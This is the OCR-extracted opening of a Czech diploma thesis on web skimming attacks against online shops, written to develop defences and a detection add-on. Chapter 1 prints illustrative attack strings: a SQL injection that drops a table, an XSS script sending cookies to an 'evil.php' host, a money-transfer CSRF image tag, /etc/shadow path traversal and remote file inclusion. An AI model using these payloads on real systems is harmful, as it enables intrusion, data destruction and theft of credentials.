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Abstrakt

Tato diplomova prace se zabyva utoky na internetové obchody, zaméruje se
konkrétné na utok nazvany web skimming. Pii tomto Gtoku ttocnici upravi
zdrojovy kod webové stranky a k odcizeni platebnich tdaji dochazi primo
v prohlizeci uzivatele. Prace analyzuje zranitelnosti, které jsou vyuzivany k na-
padnuti webovych stranek, zptisoby, jakymi je skodlivy kéd ukryt ve zdrojovém
kédu internetového obchodu, a metody odcizeni platebnich udaji. Navrhuje
zpusoby obrany pred web skimming titoky a implementuje doplnék do prohli-
zece, jehoz cilem je témto utoklim zabranit.

Klicova slova web skimming, detekce, zranitelnosti webovych stranek, itoky
na internetové obchody
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Abstract

This diploma thesis is about attacks on e-commerce websites. It focuses on
a method called web skimming, which uses modifications of website source
code and steals customers’ payment card data directly from the browser. This
work analyzes vulnerabilities that are abused for infiltration of websites, the
ways how to hide malicious code in the website source code and the methotds
of stealing payment data. It proposes ways to defend against web skimming
attacks and implements a browser add-on to prevent these attacks.

Keywords web skimming, detections, websites vulnerabilities, attacks on
e-commerce websites
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Uvod

Rozsitovani dostupnosti pocitact, chytrych telefonii a internetu ma vliv i na to,
jak lidé nakupuji. Nyni ¢im dal vice lidi nakupuje na internetu misto v kla-
sickych kamennych obchodech [6]. Poté, co svét zasdhla koronavirova krize
a vSude po svété dochézelo v ramci opatieni k uzavirani kamennych obchodt,
se pocet lidi nakupujicich ptes internet jesté zvysil [7]. To klade stale vétsi
a vetsi naroky na bezpec¢nost internetovych obchodt, které se za poslednich
par let staly tercem tutokt, které se nazyvaji web skimming.

Web skimming je Utok, pii kterém dochézi k odcizeni platebnich tdaju
zakazniki, kteri nakoupi na napadené strance a zadaji na této strance své
platebni idaje. Nejvétsi hrozbou tohoto dtoku je, ze zdkaznik obvykle nema
vibec zadnou Sanci si vsimnout, ze se déje néco nekalého. Nakup probéhne
bez zadného viditelného problému a i poté, co jsou udaje odcizeny z webové
stranky, nic nenasvédcuje tomu, ze mohlo dojit k néjaké skodlivé aktivité.

Za posledni tii roky byly napadeny internetové obchody velkych firem, jako
naptiklad British Airways, Ticketmaster, Macy’s, Puma nebo Michigan State
University. Byly odcizeny platebni tidaje statisicti zakaznika téchto firem [§].
Utoénici stale vymysleji nové a nové zpisoby, jak napadnout webové stranky
a co nejnenapadnéji odcizit velké mnozstvi platebnich udaju. Ziskana data pak
obvykle prodédvaji dle anebo vyuzivaji k ndkupu za pomoci prostiedniku [9].

Cilem této diplomové prace je se s témito ttoky seznamit, zamérit se na
zpusoby, jakymi dtoc¢nici ukryvaji skodlivy kéd na webovych strankach inter-
netovych obchodi a jak ziskavaji platebni idaje zdkaznikt a nakonec navrh-
nout zpusoby obrany a implementovat detekci web skimming utoki.

V prvni kapitole jsou vysvétleny titoky na webové stranky a zranitelnosti,
které utocnici zneuzivaji. Ve druhé kapitole je podrobné popsan web skimming.
Ve tteti kapitole jsou pfedstaveny jiz probéhlé velké ¢i zajimavé web skimming
utoky a jaké tyto utoky mohou mit pro internetové obchody nasledky. Ve
¢tvrté kapitole se zabyvam zpusoby obrany a implementaci detekce ttoku.






KAPITOLA 1

Utoky na webové stranky

V této praci se zaméruji predevsim na ttoky na internetové obchody, pri kte-
rych dochézi k odcizeni platebnich tdaju uzivatele. Existuje vice zptsobu,
jakymi muze utocnik idaje odcizit. Zaméruji se na utoky, pri kterych utoc¢nik
obvykle zneuzije néjaké zranitelnosti a dostane se k moznosti upravit zdrojovy
kéd webové stranky.

Tento utok se sklada ze tii fazi. V prvni fazi si Gtocnik vybere néjakou
zranitelnost a nasledné prohleda internet a najde internetové obchody, které
obsahuji tuto zranitelnost. Piipadné samoziejmé muze zvolit opacny pristup
a nejdrive si vybrat obchod a az poté na ném hledat néjakou zranitelnost,
verze webovych aplikaci. Tuto zranitelnost itoénik zneuzije k ziskani pristupu
ke zdrojovému kédu a k jeho perzistentni apravé. Druhd faze zahrnuje zadani
citlivych idaji do formuldfe na napadaném webu uzivatelem. Ve treti fazi
dojde k odcizeni téchto tidaji. Nejbéznéjsim zplisobem je odeslani idajii na
webovou stranku ovladanou ttocnikem, ale je mozné pouzit misto toho napii-
klad Google Analytics ¢i Telegram. VSechny tyto zptisoby budou podrobnéji
rozebrany v dalsi kapitole. Cely tento proces je zndzornén na obrazku

Jesté pred tim, nez se budu vénovat piimo web skimming Gtokiam, tak
v této kapitole rozeberu obecné utoky na webové stranky a internetové ob-
chody.

1.1 Bezpecnostni rizika webovych stranek
Nejprve rozeberu zranitelnosti webovych stranek. Tyto zranitelnosti titocnici
vyuzivaji kromé web skimmingu k rtiznym dalsim skodlivym ¢innostem, mezi

které patii naptiklad kradez hesel, presmérovani na skodlivy web ¢i vlozeni
své vlastni reklamy. Budu se zabirat nasledujicimi bezpecnostnimi riziky:

e SQL Injection



1. UTOKY NA WEBOVE STRANKY
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Obréazek 1.1: Znazornéni pribéhu web skimming itoku na internetové obchody

Cross-Site Scripting
¢ Cross-Site Request Forgery
o Path Traversal

Local File Inclusion

Jedné se o dobie zndmé zranitelnosti. Utoénici bé&Zné vyuzivaji toho, Ze né-
kteri autori webovych stranek neaktualizuji software, a tudiz pouzivaji staré
verze, které jsou zranitelné, anebo toho, ze kazdou opravenou zranitelnosti
casto vznikaji dalsi. Tudiz se stale objevuji nové a nové zranitelnosti v systé-
mech, které vyuzivaji webové stranky po celém internetu.

1.1.1 SQL injection

SQL injection je utok, ktery cili na webové stranky a diky kterému se muze
uto¢nik dostat k informacim v databazi. V pripadé Spatného zabezpeceni
webové stranky lze pomoci tohoto ttoku smazat celou databazi nebo z da-
tabaze ziskat ruzné udaje, pripadné muze byt také mozné tyto tidaje ménit.
Bézné databaze obsahuji napriklad prihlasovaci iidaje, platebni idaje ¢i rizné
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1.1. Bezpecnostni rizika webovych stranek

dalsi tajna data, kterd mohou byt pro firmu vyznamné. Tento tutok se provadi
pres nezabezpecené formulatre, do kterych se vlozi skodlivy SQL dotaz.

Mezi zranitelné prvky pak patii napiiklad vyhledavaci policko nebo for-
muldr pro prihlasovani, protoze za témito prvky obvykle stoji pristup do data-
baze. Vyhledavaci policko bézné vyhledava data, ktera jsou ulozena v databazi,
stejné tak prihlasovaci tdaje.

Priklad SQL injection

Skodlivy dotaz, ktery je vkladan do formulafe, mize vypadat napiiklad takto:
name'; DROP TABLE users; --. V této ukdzce lze vidét, ze nejdiiv je za-
koncen ptvodni dotaz '; a ze zbytku ptvodniho dotazu je udélan komentar
pomoci --. Konkrétné pak cely dotaz do databaze muze byt néasledujici:

SELECT * FROM users WHERE name = 'mame'; DROP TABLE users; —-- '
« AND password = 'test';

1.1.2 Cross-site scripting

Stejné jako v pripadé SQL injection, Cross-site scripting (XSS) vyuziva casto
nezabezpecené formulaie. Rozdil je v tom, ze primdrnim cilem XSS neni prova-
dét dotazy do databaze, ale provést zménu ve zdrojovém kédu webové stranky.
Diky Spatné validaci dat dokaze utocnik vlozit na stranku sviaj skodlivy kéd,
ktery muze byt pouzit tieba k odcizeni cookies uzivatele nebo k presmérovani
na jinou webovou stranku (tfeba stranku obsahujici phishing).

Cross-site scripting ttoky se daji rozdélit do dvou kategorii: Stored XSS
a Reflected XSS [10].

Stored XSS Jak napovida nézev, jedna se o typ utoku, ktery je perzistentni,
coz znamend, ze na webové strance zlistava pro vsechny uzivatele az do doby,
nez dojde k jeho odhaleni a odstranéni [I0]. Skodlivy kéd byva obvykle ulozen
napriklad v databéazi. Typicky se k databazi mizeme dostat pres komentére,
které se tam bézné automaticky ukladaji.

Reflected XSS Nejednd se o perzistentni atok, to znamend, ze dtocnikuv
skodlivy kéd neziistava na zranitelném webu naporad pro vSechny uzivatele.
Tento utok je znazornén na obrazku V prvnim kroku ttoc¢nik identifikuje
zranitelnou stranku a vytvori URL se skodlivym kédem, kterou posle uzivateli.
Ve druhém kroku uzivatel klikne na podstréenou URL. Tento dotaz vede na
legitimni, ale zranitelnou webovou stranku. Ve tfetim kroku se uzivateli tudiz
vrati legitimni webova stranka, ale ta jiz obsahuje skodlivy kéd. Tento skodlivy
kéd je nasledné spustén v prohlizeci uzivatele.



1. UTOKY NA WEBOVE STRANKY
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Obrazek 1.2: Znazornéni reflected Cross-site scripting toku

Priklady XSS

V kédu [I] itoénik namisto alert('xss');, ktery je prakticky neskodny, vlozi
svij skodlivy kéd. Tento kéd se pak nacte uzivateli na legitimni zranitelné
strance.

http://zranitelna-
— stranka.cz/search?q=<script>alert('xss');</script>

Kod 1: Reflected XSS — URL, kterou ttoc¢nik posle uzivateli, napiiklad pomoci
phishingového ttoku

Kod [2] je prikladem Stored XSS. Tento kéd ttoénik neposild pfimo obéti,
namisto toho ho vlozi napriklad jako komentar na zranitelné webové strance.
Tim dojde k ulozeni do databaze a u kazdého uzivatele, ktery pristoupi na
konkrétni webovou stranku, dojde ke spusténi tohoto kédu.

1.1.3 Cross-site request forgery

Utok, ktery zneuziva davéru zranitelné stranky v pozadavky z nelegitimnich
zdroju. Utocnik se tudiz mize vydavat za uzivatele a naptiklad pristupovat
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1.1. Bezpecnostni rizika webovych stranek

<script>

var url = "https://example.cz/evil.php?cookie=" +
— escape(document.cookie) ;

document.write("<img src=" + url + " />");
</script>

Kod 2: Stored XSS — Kod, ktery krade cookies uzivatele

tam, kam by nemél mit pristup, nebo posilat pozadavky, na které by nemél
mit prava. Rozdil mezi XSS a CSRF je, ze CSRF nespousti zranitelny kéd,
pouze vytvari a posild zranitelné strance takové dotazy, které ptisobi, Ze jsou
od legitimniho uzivatele.

Priklad CSRF

V ukézce [3] je zobrazen skodlivy kéd, ktery ttocénik posle obéti. V tomto pii-
padé obét nemusi ani na nic klikat, staci, ze se dany kéd zobrazi, a pokud je
dand webova stranka zranitelnd, tak konkrétné v tomto pripadé dojde k pre-
vedeni penéz z bankovniho konta obéti, za predpokladu, ze obét byla v té
dobé prihlasena do svého internetového bankovnictvi. I to je jeden z divodu,
pro¢ v internetovém bankovnictvi dochazi k rychlému odhlaseni v pripadé
neaktivity.

<img src="https://bank.com/transfer.do?acct=MARIA&amount=100000"
< width="0" height="0" border="0">

Kéd 3: CSRF — Kéd, ktery krade penize z u¢tu [11], obrazek se nezobrazi, ale
ke GET requestu dojde, obét ani nemusi klikat na odkaz

1.1.4 Path Traversal

Cilem tohoto ttoku je pristupovat k soubortim, které jsou ulozeny mimo kote-
novy adresar, itoc¢nici k tomu vyuzivaji predevsim notaci ". . /", pomoci které
Ize pFistupovat do rodic¢ovskych adresait [12]. Utok vyuzivé §patné provede-
nou validaci uzivatelského vstupu a utocnici diky tomu mohou pristupovat ke

vSem moznym soubortim, které se na webovém serveru nachézeji.

Priklad Path Traversal

V tomto prikladu dochazi k ptristupu do /etc/shadow a /etc/passwd, coz jsou
soubory, které obsahuji prihlasovaci jména a hesla na Unixovych systémech.



1. UTOKY NA WEBOVE STRANKY

http://some_site.com.br/../../../../etc/shadow
http://some_site.com.br/get-files?file=/etc/passwd

Ko6d 4: Path Traversal — ptiklad ttoku [12]

1.1.5 File Inclusion

Jednd se o zranitelnost, pomoci které je mozné nacist jakykoliv lokalni soubor
(takovy, ktery na daném webovém serveru jiz existuje) na webové strance, nebo
dokonce vlozit a nacist (spustit) na webové strance sviij vlastni soubor. Podle
toho se déli na lokdlni a vzdédleny (local a remote). Nachazi se ve webovych
aplikacich, které pouzivaji PHP.

Priklad Local File Inclusion

Skodlivé URL |5 vypadaji velmi podobné jako URL v pifpadé pifedchoziho
Path Traversal [d] Rozdil je, Ze v pfipadé Path Traversal lze soubor pouze ¢ist,
zatimco v pripade File Inclusion dochéazi i ke spusténi souboru.

<?php

include($_GET['file'].".php");

// http://zranitelna-stranka.cz/?file=../../etc/passwd]00
// http://zranitelna-stranka.cz/?file=http://utocnikova-
— stranka.cz/evil.php/00

2>

Kéd 5: File Inclusion — zranitelny kéd a ukéazka ttoku

1.2 Zpisoby, jak predchazet Gitokiim na webové
stranky

Pokud se nejednd o zero-day (zranitelnost, o které zatim vi pouze utocnici)
zranitelnosti, jde vétsinou o chybu at uz programéatora, nebo naptiklad spravce
systému, od Spatné konfigurace az po zastaralé aplikace. Proto ted vyjmenuji
nékolik zakladnich zpusobi, jak predchazet Utoktim na webové stranky. Vy-
tvorit webovou stranku je v dnesni dobé velmi jednoduché, 1ze najit bezpocet
navodi na internetu, bohuzel ne vSechny jsou vzdy aktualni a spravné. Tudiz
se snadno stane, ze programétor opomene bezpecnostni hledisko a spokoji se
s tim, Ze aplikace na prvni pohled funguje jak ma. Casto nékteré chyby také
nelze odhalit tak snadno.



1.2. Zpusoby, jak predchazet itoktim na webové stranky

1.2.1 Validace dat

Jednim z nejzranitelnéjsich mist aplikace jsou uzivatelské vstupy, to jsou mista,
kde dochazi ke zpracovavani dat od uzivatele. Konkrétné se jednd napiiklad
o komentéare nebo chat. Cilem validace je zajistit, aby data vlozena uzivatelem
splnovala urcita kritéria. Napriklad pokud chceme po uzivateli telefonni ¢islo,
validace znamend kontrola, zda bylo opravdu vlozeno telefonni ¢islo — spravné
délka, pouze ¢isla a znaménko +, pripadné spojovnik a zévorky (napf. telefonni
¢isla v USA). Tohle se déje na strané uzivatele, jesté pred tim, nez dojde k
odeslani dat na server, tudiz tato validace lze snadno obejit a nelze se na ni
spoléhat. Pomoci validace nedochazi k tipravé dat vlozenych uzivatelem, pouze
jsou tato data zamitnuta [10].

1.2.2 Sanitace dat

Na rozdil od validace se pomoci sanitace uz data upravuji [10]. Muze se jednat
treba o zakdédovani, detekci skodlivého kédu a jeho smazani nebo escapovani.
Pomoci sanitace 1ze predchézet velké vétsiné ttokd, které jsem zminila. Na-
priklad Cross-site scriptingu zabranime, pokud budeme kontrolovat, jaka data
uzivatelé vkladaji do systému, a pokud je nasledné budeme spravné filtrovat,
pripadné escapovat.

1.2.3 Cookies

V ukézce[2]u ptikladi XSS bylo zndzornéno, jak lze pomoci XSS krést cookies.
Pomoci JavaScriptu 1ze ke cookies pristupovat pies document . cookie. Hlavni
nebezpedi spociva v tom, k ¢emu jsou cookies vyuzivany. Kromé toho, ze jsou
cookies pouzivany reklamnimi spolecnostmi na sledovani uzivateli, jsou vyuzi-
vany i na zapamatovani si prihlaseni nebo véci, které si ¢lovék vlozil do kosiku.
7 toho vyplyva, ze cookie muze jednozna¢né identifikovat uzivatele, a pokud
nejsou aplikovana bezpecnosti opatteni, muze se tito¢nik diky ukradené cookie
vydéavat za uzivatele.

1.2.4 Pristupova prava

Dalsim dilezitym pravidlem je, ze by nikdo nikdy nemél mit vétsi prava, nez
potfebuje, ¢imz lze naptiklad zabranit smazani celé databaze nebo tipravé sou-
boru obycejnym uzivatelem. Ruku v ruce s tim jde ochrana administratorskych
ucta, pokud jsou sice prava uzivateli omezena na nezbytné minimum, ale
zaroven nechranime pristupy k administratorskym tuctim, vyjde nase snaha
naprazdno.
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1.2.5 Aktualizace

Dalsim z dulezitych predpokladt je udrzovat systém aktualizovany. Uz jsem
zminila, ze Utocnici ¢asto Utoci na stary neaktualizovany software, u kterého
jsou znamé zranitelnosti. Mohlo by se zdat, ze prece neni problém pravidelné
a Casto aktualizovat, problém vsSak nastava s kompatibilitou, proto i dost webo-
vych stranek bézi na starsich systémech. Obvykle dana stranka pouziva tfeba
néjaké specifické pluginy nebo jsou néjakym zptisobem upraveny, a proto by
v dusledku aktualizace doslo k rozbiti nékterych funkcionalit.

1.2.6 Dalsi konkrétni metody

Kromé zminénych zpisobu, jak predchézet itokim na webové stranky, exis-
tuji jesté pravidla, jejichz cilem je zabranit nelegitimnim pozadavktm, které
mohou vzniknout pravé v pripadé, ze dana webova stranka obsahuje zranitel-
nosti.

Same Origin Policy

Jak jsem jiz ukazala, moznost posilat bez omezeni tzv. requesty, neboli po-
zadavky, na webové stranky muze byt nebezpecna. Z tohoto divodu existuje
Same Origin Policy. Toto pravidlo omezuje, odkud muze dand webova stranka
nacitat soubory, neboli na jaké webové stranky muze posilat své pozadavky.
Vzdy musi byt shodny origin, ten je definovan jako URI schéma (to je napfi-
klad http nebo https), hostname a ¢islo portu [13].

Vzhledem k tomu, ze témér kazda webova stranka v dnesni dobé komu-
nikuje s dalsimi (obrézky a zdrojové kédy hostovany na cizi doméné, posilani
POST requestii na jiné stranky), tak se velmi tézko dodrzuje Same Origin Po-
licy. Z toho duvodu existuje Cross Origin Resource Sharing (CORS), pomoci
néhoz lze nastavit vyjimky [14].

Content Security Policy

Content Security Policy je standard, jehoz cilem je chranit webovou stranku
proti Cross-site scriptingu a dalsim ttoktim, pii kterych dochézi k vlozeni
skodlivého kédu. Umoznuje definovat specidlni HTTP hlavicku, pomoci které
lze kontrolovat, jak a jaké soubory muze dand stranka nacitat [I5]. To zna-
mena, ze kromé toho, ze lze urcit, z jakych zdroji se mohou data nacitat, lze
i urcit, jakd data se z téchto zdroji mohou nacitat. Ani CSP vSak nezajisti
dokonalou ochranu. Kromé toho, ze je CSP casto Spatné nastavené a tim pa-
dem nedcinné, muze také byt pro nékteré webové stranky komplikované vse
dodrzet, vzhledem k tomu, Ze v dnesni dobé se bézné nacitd vétsi mnozstvi
soubort z externich zdroju a ¢asto dochazi ke zménam, tudiz je narocnéjsi na
udrzbu [16]. Navic CSP neochrédni webovou stranku pred napadenim zdroje
treti strany.
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1.3. Internetové obchody a jejich slabiny

1.3 Internetové obchody a jejich slabiny

Internetové obchody jsou webové stranky, na kterych dochéazi k prodeji zbozi,
at uz fyzického nebo pouze digitdlniho, jako naptiklad prodej grafickych na-
vrhii, webovych stranek a podobné. Dilezité je, ze tyto obchody pracuji s cit-
livymi udaji zdkaznika, kromé jména a adresy se jedna predevsim o platebni
udaje. Z pohledu bezpec¢nosti musi obchod na jednu stranu zajistit, aby nebyl
okraden zakaznikem s nekalymi iimysly. Tim je myslena napriklad objednavka
bez zaplaceni nebo objednéni zbozi za jinou cenu, nez obchod inzeruje. Na
druhou stranu by mél obchod také zajistit bezpecnost zakaznika a jeho udaju.
Pro obchodnika je prioritou, aby nebyl on sdm okraden, tudiz bezpecnost za-
kaznika casto nechavd az na druhém misté. V této praci se zabyvam pravé
bezpecnosti zdkaznika a jeho idaji.

Pro vSechny organizace, které zpracovavaji platebni tidaje, coz zahrnuje
i internetové obchody, existuje norma Payment Card Industry Data Security
Standard (PCI DSS). Cilem je zabranit tiniku platebnich tidaji. Rik4 organi-
zacim, jak maji s témito tdaji naklddat. Obsahuje 12 pozadavku, kterymi se
maji organizace ridit (Sifrovani platebnich tdaju, testovani systému na zrani-
telnosti a podobneé) [17].

Mezi slabiny internetovych obchodi miize patiit napriklad manipulace
s cenami zbozi, kradez uzivatelského tuctu, kde mohou byt ulozeny platebni
udaje, anebo také DDoS utok (zamezeni pristupu redlnym uzivatelim). Budu
se nyni zabyvat predevsim slabinami, pri kterych je ovlivnén zakaznik a jeho
bezpeci, konkrétné bezpeci jeho platebnich tdaji. Proto v této casti roze-
beru ruzné zpusoby, jakymi muze dojit k odcizeni platebnich idaju zédkaznika.
Jedna se o nasledujici zpiisoby:

e Zranitelnd databaze

o Slabéa autentizace a autorizace
e Man in the middle

e Infikovany pocitac

e Phishing

o Web skimming

1.3.1 Zranitelna databaze

Zranitelnd databdaze predstavuje pro zdkaznika nejvétsi riziko v pripadé, ze mé
na webové strance ucet, ve kterém si ulozil své tdaje. Tyto tidaje jsou obvykle
ulozené pravé v databézi. Kdyz je tato databdze spatné zabezpecend, titoénik
muze vyuzit napriklad SQL injection zranitelnost, pak muze dojit k odcizeni
praveé platebnich tdaji. Pokud databédze a ulozeni platebnich tdaju splnuje

11
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standard PCI DSS, pak by vzdy mély byt platebni tdaje dobre Sifrovany,
a pripadny unik by tudiz nemél zpusobit vétsi skody, maximéalné by mélo dojit
k poskozeni reputace obchodu, ale idaje by mély zlstat v bezpeci. V pripadé
slabého Sifrovani se mize stat, ze se ttoc¢nikovi podati tdaje desifrovat.

1.3.2 Slaba autentizace a autorizace

Uéty na webové strance mohou byt §patné zabezpeceny, pokud lze napifklad
jednoduse provést brute force itok na uzivatelské ucty, protoze je uzivatelim
povoleno si vytvaret kratka a nebezpecna hesla v kombinaci s tim, ze webova
stranka nekontroluje pocet pokust o prihlaseni. Potom se utoc¢nikovi miize
podarit prihlasit se do uzivatelskych ucta, pripadné do uc¢tu administratora
webové stranky.

1.3.3 Man in the middle

Pti itoku Man in the middle dochézi k zachyceni komunikace mezi webovou
aplikaci a uzivatelem. V pripadé, ze tato komunikace neni zabezpecena, vy-
uziva napiiklad protokol HTTP (pfipadné je zabezpecend, ale $patné), muze
dojit k odposlechnuti citlivych dat (¢isla platebni karty) utoénikem. Znézor-
néni tohoto utoku je na obrazku

Puvodni
komunikace

Webova

Uzivatel aplikace

Nova komunikace

o0
)

Utoénik
Obrazek 1.3: Znazornéni ttoku Man in the middle

Konkrétnim zptusobem provedeni Man in the middle itoku muze byt na-
priklad infikovani routeru nebo vytvoreni skodlivého doplitku do prohlizece.

12
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1.3.4 Infikovany pocitac

Uzivatel mize mit infikovany pocitac¢ napiiklad keyloggerem, coz je malware,
ktery zaznamendva stisky kldves na infikovaném pocitaci a odesila je itocni-
kovi. V téchto datech poté ttoc¢nik muze najit platebni anebo také prihlasovaci
udaje.

1.3.5 Phishing

Trochu vedle vSech téchto 1tokil stoji phishing. Phishing je jeden z nejbéz-
néjsich utokt na uzivatele, jehoz cilem je ukrast tdaje, typicky prihlasovaci
jméno a heslo anebo ¢islo platebni karty, které pozdéji itocnik bud sdm zne-
uzije, nebo je proda na dark webu. Ackoliv i pTi téchto ttocich dochézi ke
kradezi platebnich tidaju, nejednd se o utok, ktery by sdm o sobé zneuzival
nékterou z technickych zranitelnosti, nybrz zneuziva lidského faktoru. Utoénik
obéti podstréi svoji webovou stranku, ktera vypada jako jina legitimni stranka
a presvédci uzivatele, aby tam zadal své adaje.

1.3.6 Web Skimming

Obrézek 1.4: Magecart — ¢arodéj a ndkupni kosik [I]

Utok byl popsan v kapitole Jednd se o odcizeni platebnich idaja, pri
kterém utocnik vlozi skodlivy kéd primo do zdrojového kédu zranitelné webové
stranky. Nékdy se tomuto dtoku ¥ika také card skimming nebo Magecart (na
obréazku . Touto metodou se budu déale podrobné zabyvat.

1.4 Zneuzivané technologie internetovych obchodi
Casto se stava, ze ttocnici Gtoéi na jeden konkrétni typ platformy ¢i webo-

vého serveru, ktery vyuzivaji internetové obchody. Vétsinou z toho divodu, ze
vyuzivaji pro své utoky néjaké konkrétni zranitelnosti, které dana platforma

13
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obsahuje. Nejcastéji, a hlavné jako jedna z prvnich, byla pro web skimming
zneuzivand platforma Magento. Z toho divodu se web skimming ttoky ¢asto
nazyvaji také Magecart. Nyni popisu oblibené zneuzivané platformy pro tvorbu
internetovych obchodu.

V tabulce[I.1] je vidét, ze tyto technologie vyuziva opravdu velké mnozstvi

s as

skimming dtokum [I8, [19].

Technologie Pocet internetovych obchodi
WooCommerce Checkout 2 600 000
Shopify 1 687 000
OpenCart 396 000
PrestaShop 303 000
Magento 204 000
BigCommerce 51 000

Tabulka 1.1: Pocet internetovych obchodu vyuzivajici rizné technologie pro
jejich tvorbu. Data ziskéna z [4] v roce 2020. Zaokrouhleno na tisice

1.4.1 Magento

Magento [20] je platforma napsand v jazyku PHP pro snadnou tvorbu in-
ternetovych obchodu. Existuji aktudlné dvé verze — Magento 1 a Magento 2.
Magento vyuziva momentélné 204 tisic internetovych obchodu [4]. Problémem
je, ze stale velké mnozstvi obchodu pouziva staré verze, které obsahuji zra-
nitelnosti. Tyto zranitelnosti se oznacuji CVE (Common Vulnerabilities and
Exposures), jedné se o databazi znamych zranitelnosti pro vsechny mozné plat-
formy, systémy a aplikace. Zranitelnosti jsou oznacovany CVE- [rok]-[&islo],
rok je rok, kdy byla zranitelnost nahldsena, a ¢islo je poradové ¢islo, které
bylo zranitelnosti pfidéleno. Casto ttoénici vyuzivaji vice zranitelnosti najed-
nou.

Pro ukazku zde vyjmenuji nékolik zranitelnosti, které byly objeveny v roce
2020 v Magentu.

o CVE-2020-24400 — SQL injection zranitelnost [21].

o« CVE-2020-24407 — zranitelnost umoznujici obejit seznam povolenych
soubort a nahrat skodlivy soubor [22].

o CVE-2020-24408 — XSS zranitelnost, pomoci které je mozné nahrat skod-
livy JavaScript soubor na zranitelnou webovou stranku [23].
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1.4.2 Dalsi platformy pro tvorbu internetovych obchodi

Mezi dalsi platformy pro tvorbu internetovych obchodt, které byly zneuzity
pro web skimming dtoky, patii nasledujici:

PrestaShop je platforma pro tvorbu internetovych obchodu [24]. Oproti
Magentu neni Prestashop tak casto zneuzivan pro web skimming ttoky.
I tak se nevyhnul vétsim zranitelnostem, napiiklad CVE-2017-9841 [25]
je zranitelnost v modulu PHPUnit, kterd umoznuje vzdalené spustit li-
bovolny PHP kod.

WooCommerce Checkout je plugin pro WordPress pro vytvafeni interne-
tovych obchodu [26].

BigCommerce je sluzba, kterd nabizi SaaS (Software as a service) pro tvorbu
internetovych obchodu [27].

OpenCart je open-source platforma pro tvorbu a management internetového
obchodu. Byla spusténa v roce 2010 a je napsana v PHP a pro uklddani
dat vyuzivd MySQL [28].

Shopify je jedna z nejoblibenéjsich platforem pro tvorbu webovych stranek,
pouziva ji vice nez jeden milion webovych stranek [4]. Navic Shopify
nabizi velké mnozstvi plugina [29, [30].

WisePay je platebni systém pro $koly. Skoly ho mohou vyuzivat napiiklad
k fizeni a prijimani plateb za krouzky, ve skolni jidelné a za vylety [31].

1.4.3 Ostatni technologie pro tvorbu webovych stranek

Kromé konkrétnich platforem nebo systému, které jsou uréeny pro internetové
obchody, Gtocnici Gtodi i na servery, na kterych webové stranky bézi, anebo
na sluzby, které vyuzivaji k hostovani zdrojovych koédia. Konkrétné:

Microsoft IIS — Microsoft Internet Information Services je webovy server
pro Windows [32]. V pripadé web skimming utoku na Microsoft IIS
doslo ke zneuziti zranitelnosti, kterou obsahuje stard verze ASP.NET
[33]. ASP.NET je framework pro vyvoj webovych aplikaci.

Amazon Web Services — Amazon S3 buckets je cloudova sluzba pro ukla-
dani dat, u kterych chceme, aby byla pristupnd odkudkoliv. Vyhodou
oproti vlastnimu fesSeni je, Ze tato sluzba od Amazonu nabizi dobrou
dostupnost, bezpecnost, podporu, rychlost a skdlovatelnost [34].

Organizace tuto sluzbu Amazonu obvykle vyuzivaji k hostovani svych
webovych stranek (zdrojovych kédi, obrazki, ...) a ackoliv by mimo
jiné tato sluzba méla vynikat svoji bezpec¢nosti, byla zneuzita k web ski-
mming ttokam [35]. Jednalo se vsak o pfipady, kdy byly servery Spatné
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nakonfigurované. To znamenalo, Ze Utoc¢nici mohli snadno upravit po-
tfebné soubory a pridat do nich sviij skodlivy kdd.
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KAPITOLA 2

Web skimming

V této kapitole rozebiram jeden, dle mého nézoru, z nejvétsich itokl na inter-
netové obchody. PTi tomto ttoku dochazi k odcizeni platebnich idaji a nazyva
se web skimming. Jak tento ttok funguje jiz bylo nastinéno v prvni kapitole.
Nyni proberu, jak dtoc¢nici ukryvaji skodlivy kéd na webovych strankach a
jakymi zpusoby ziskévaji platebni tdaje.

Nékteri ttocnici si zvoli cestu infikovat co nejvice webovych stranek za
cenu toho, Ze utok neni tak dokonaly, to znamenad, ze napriklad nemusi fun-
govat na vSech napadenych webovych strankach nebo také, ze hrozi jeho dii-
véjsi odhaleni. Odhaleni mtze hrozit z toho divodu, ze skodlivy kéd neni na
webové strance dobfe ukryty anebo také jednoduse proto, ze ¢im vice napade-
nych webt, tim vétsi Sance odhaleni. Proto se také jini vydavaji cestou presné
netové obchody. Utok je pak obvykle lépe proveden a je Sance, 7e ziistane
neobjeven delsi dobu. Z tohoto divodu si navic pro tyto cilené atoky utocnici
zpravidla vybiraji webové stranky s vysokou navstévnosti.

Nebezpecnost web skimming ttokti spociva predevsim v tom, ze obvykle
nijak neméni chovani webové stranky, maximalné dochazi naptiklad k pridéani
formuléie ¢ tlacitka navic na webovou stranku. Casto se tedy stavé, ze byvaji
objeveny az po dlouhych mésicich. Obycejni uzivatelé obvykle nemaji viibec
Sanci poznat, Ze je webova stranka napadena. Na to, Ze je néco Spatné, obvykle
prijdou az ve chvili, kdy jim zac¢nou mizet penize z uc¢tu. Vyjimky tvori praveé
pripady, kdy se jednd o web skimming v kombinaci s phishingem.

Ukradené platebni iidaje Gtoc¢nici pak ¢asto prodavaji na dark webu. Kromé
toho, zZe tyto tidaje mohou byt dale vyuzivany primo k odcizeni penéz, lze je
také vyuzit k utokim za pomoci socidlniho inzenyrstvi. Se znalosti téchto
udaju muze utocnik presvédcit obéf o tom, Ze je z banky — zné udaje, které by
méla znat idedlné pouze banka —, a vyldkat z obéti tfeba heslo pro ptistup do
internetového bankovnictvi nebo jiné idaje. Podobné ttoky za pomoci social-
niho inZenyrstvi byly jiz zaznamenany [36]. Z toho vyplyva, ze pro utoc¢nika
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mohou byt relevantni i ostatni idaje (jméno, telefonni ¢islo, emailova adresa,
adresa) a ne pouze platebni tidaje.

2.1 Historie skimmingu kreditnich karet

Nyni pouze stru¢né rozeberu historii skimmingu, jelikoz pod slovnim spojenim
card skimmer si pravdépodobné vétsina lidi predstavi staré klasické skimmery,
které byvaji na bankomatech.

Pod pojmem skimming se ukryva vice druhu utokid na kreditni karty.
VsSechny spocivaji v kradezi platebnich ddaji — ¢islo platebni karty, CVV
a datum expirace. Nejznaméjsi a nejstarsi jsou fyzické skimmery na bankoma-
tech.

e Skimmery na bankomatech — to je to, co si pod pojmem skimming pred-
stavi pravdépodobné vétsina lidi. Jednad se o bankomat, na kterém je
jesté pridélana navic jedna Ctecka karet, kterou tam nainstaloval ttoc-
nik. Pfipadné na numerické klavesnici je jesté druhd, kterd zazname-
nava PIN, nebo muze byt PIN kéd sniman kamerou. Data mohou byt
odesilana utoénikovi okamzité, nebo mohou byt uklddana na pamétové
médium.

